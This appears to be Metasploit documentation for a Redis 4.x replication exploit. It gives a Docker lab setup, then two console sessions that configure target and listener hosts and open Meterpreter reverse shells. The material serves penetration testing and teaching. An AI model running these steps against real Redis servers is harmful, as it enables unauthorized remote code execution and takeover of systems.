h00die
6.2 KiB
6.2 KiB
Vulnerable Application
Description
This module exploits a replication code execution vulnerability in Redis 4.x and later.
Installation Setup.
Vulnerable Application Link
- Official Docker Images
https://hub.docker.com/_/redis/
Installation Setup.
docker pull redis
docker run -p 6379:6379 -d --name redis_slave redis
Verification Steps
Options
CUSTOM
IF CUSTOM set to true, this exploit would generate a source code file, and
compile it to a redis module file during running, which is more undetectable.
It's only worked on linux system.
For other scenarios, such as lack of gcc, or others opreate systems, framework could not compile the source for successful exploit, it uses the pre-compiled redis module to accomplish this exploit.
Scenarios
set CUSTOM true (available only on linux)
msf5 exploit(multi/redis/redis_replication_cmd_exec) > options
Module options (exploit/linux/redis/redis_replication_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CUSTOM true yes Whether compile payload file during exploiting
PASSWORD foobared no Redis password for authentication test
RHOSTS 127.0.0.1 yes The target address range or CIDR identifier
RPORT 6379 yes The target port (TCP)
SRVHOST 172.17.0.1 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 6666 yes The local port to listen on.
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.17.0.1 yes The listen address (an interface may be specified)
LPORT 8080 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf5 exploit(multi/redis/redis_replication_cmd_exec) > set verbose false
verbose => false
msf5 exploit(multi/redis/redis_replication_cmd_exec) > exploit
[*] Started reverse TCP handler on 172.17.0.1:8080
[*] 127.0.0.1:6379 - Compile redis module extension file
[+] 127.0.0.1:6379 - Payload generate successful!
[*] 127.0.0.1:6379 - Listening on 172.17.0.1:6666
[*] 127.0.0.1:6379 - Rogue server close...
[*] 127.0.0.1:6379 - Sending command to trigger payload.
[*] Sending stage (3021284 bytes) to 172.17.0.2
[*] Meterpreter session 4 opened (172.17.0.1:8080 -> 172.17.0.2:49556) at 2019-07-19 11:58:52 -0400
[!] 127.0.0.1:6379 - This exploit may require manual cleanup of './vxwqrg.so' on the target
meterpreter > getuid
Server username: uid=999, gid=999, euid=999, egid=999
meterpreter >
Set CUSTOM false (available on all system)
msf5 > use exploit/linux/redis/redis_replication_cmd_exec
msf5 exploit(linux/redis/redis_replication_cmd_exec) > options
Module options (exploit/linux/redis/redis_replication_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CUSTOM false yes Whether compile payload file during exploiting
PASSWORD foobared no Redis password for authentication test
RHOSTS yes The target address range or CIDR identifier
RPORT 6379 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 6379 yes The local port to listen on.
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf5 exploit(linux/redis/redis_replication_cmd_exec) > set rhosts 172.16.6.226
rhosts => 172.16.6.226
msf5 exploit(linux/redis/redis_replication_cmd_exec) > set srvhost 172.16.6.1
srvhost => 172.16.6.1
msf5 exploit(linux/redis/redis_replication_cmd_exec) > set srvport 6666
srvport => 6666
msf5 exploit(linux/redis/redis_replication_cmd_exec) > set lhost 172.16.6.1
lhost => 172.16.6.1
msf5 exploit(linux/redis/redis_replication_cmd_exec) > set lport 9999
lport => 9999
msf5 exploit(linux/redis/redis_replication_cmd_exec) > options
Module options (exploit/linux/redis/redis_replication_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CUSTOM true yes Whether compile payload file during exploiting
PASSWORD foobared no Redis password for authentication test
RHOSTS 172.16.6.226 yes The target address range or CIDR identifier
RPORT 6379 yes The target port (TCP)
SRVHOST 172.16.6.1 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 6666 yes The local port to listen on.
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.16.6.1 yes The listen address (an interface may be specified)
LPORT 9999 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf5 exploit(linux/redis/redis_replication_cmd_exec) > exploit
[*] Started reverse TCP handler on 172.16.6.1:9999
[*] 172.16.6.226:6379 - Listening on 172.16.6.1:6666
[*] 172.16.6.226:6379 - Rogue server close...
[*] 172.16.6.226:6379 - Sending command to trigger payload.
[*] Sending stage (3021284 bytes) to 172.16.6.226
[*] Meterpreter session 3 opened (172.16.6.1:9999 -> 172.16.6.226:50362) at 2019-07-19 23:53:13 +0800
[*] 172.16.6.226:6379 - Command Stager progress - 100.00% done (819/819 bytes)
[!] 172.16.6.226:6379 - This exploit may require manual cleanup of './wfuujx.so' on the target
meterpreter > getuid
Server username: uid=999, gid=999, euid=999, egid=999
meterpreter > getpid
Current pid: 173